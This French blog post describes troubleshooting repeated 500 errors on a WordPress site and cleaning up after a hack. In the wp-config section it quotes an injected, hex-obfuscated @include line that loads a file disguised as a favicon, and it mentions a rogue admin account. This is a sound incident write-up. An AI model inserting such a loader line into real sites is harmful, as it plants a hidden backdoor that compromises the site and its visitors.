Des erreurs 500 à répétition dans WordPress ça pose toujours problème. Plein de raisons à cela :
- Souci de plugin
- Souci de thème
- Souci de .htaccess
- Souci de base de données
- Site hacké
Bien sûr, si j’avais pris le temps d’installer un plugin de sauvegarde
Recherche sur l’ami Google avec page blanche WordPress et hop on tombe sur l’excellent article de Seomix sur la page blanche
Sommaire
Erreur 500 sur le serveur
Pour faire simple, les ressources du serveur d’hébergement sont sur-sollicitées : pour un hébergement de site WordPress chez O2switch (C’est pas un hébergement de Mickey ! ), c’est plutôt rare (Plutôt et Mickey, vous me suivez 😉 )
Souci de plugins / d’extensions
Le bon réflexe : connection en ftp : renommer le dossier plugins en plugins2 et appeler la page http://monsite.com/wp-admin/plugins.php
Normalement, les pages devraient se charger, il ne reste donc qu’à activer chacune des extensions les unes après les autres et voir quel plugin ou quelle association de plugins fout la zone.
- Renommer le dossier plugins2 en plugin
- Mettre à jour les plugins (un oubli passager sans doute)
- Activer/Désactiver les extensions WordPress
- Appeler plusieurs pages ou articles
- Désactiver et supprimer éventuellement le plugin fautif
Si la page reste blanche, ce n’est pas à cause des extensions.
Souci de thème
Même opération que pour les plugins
- Renommer le thème en thème2
- Appeler la page http://monsite.com/wp-admin/theme.php
- Installer un thème par défaut
- Corriger le thème (bon courage) et redonner au thème son nom originel et le réactiver
Si la page reste blanche, ce n’est pas à cause du thème
Souci de fichier .htaccess
Ce fichier à la racine du site gère entre autre les redirection d’url et tous les paramètres de votre installation WordPress.
- Le renommer en old.htaccess
- Récréer un fichier .htaccess
- Revenir dans les paramètres de permaliens de WordPress
- Remettre la même config
- Tout devrait être revenu dans l’ordre
Si la page reste blanche, ce n’est pas à cause du .htaccess
L’étau se resserre, maintenant, on va marcher sur des oeufs
Sauvegarde manuelle de la Base de Données et de tous les fichiers
- Un petit tour sur PhpMyAdmin, export de la base de données
- Un gros coup de ftp pour l’ensemble des fichiers du site (ça va prendre du temps)
Le fichier wp-config
On édite ce fichier et là surprise
1ère ligne : @include « \x2fhom\x653/m\x6foca\x69/at\x65lie\x72s-d\x65ram\x61ix.\x66r/w\x70-ad\x6din/\x6as/f\x61vic\x6fn_9\x30afb\x35.ic\x6f »;
De l’exotique dans la config WP, recherche sur Google et là ressort le gros mot Malware
Et là, les gouttes de sueur commencent à couler !
Un petit tour par PhpMyAdmin
Tiens dans la table user : un nouveau venu
wp.service.controller.O3FFS
Sans hésiter, je supprime
Et on commence le grand nettoyage
On jette un coup d’oeil au ftp et là surprise : ce n’est pas la même organisation : c’est parti pour le jeu des 7 erreurs
- On place toute l’installation actuelle vérolée de WordPress dans un dossier hacked
- On télécharge la dernière version de WordPress
- Upload dans le dossier site de la dernière version de WordPress
- Upload du fichier wp-config corrigé : j’accède enfin au back office
- Upload du dossier wp-content
- Suppression du dossier hacked
- Et tout va bien !
Et pour pas que cela recommence :
Installation de WordFence et configuration pour ne pas que cela se reproduise, alors on revoit tous les paramètres de sécurité de WordPress
En fin de compte, c’est amusant de remettre les mains dans le cambouis, si j’avais le temps, j’essaierais vraiment de voir quelle est la faille (d’un plugin, d’un thème, de WordPress) qui a été utilisée, peut-être que l’un d’entre vous a la solution. Je suis preneur de toutes les réflexions à ce sujet.
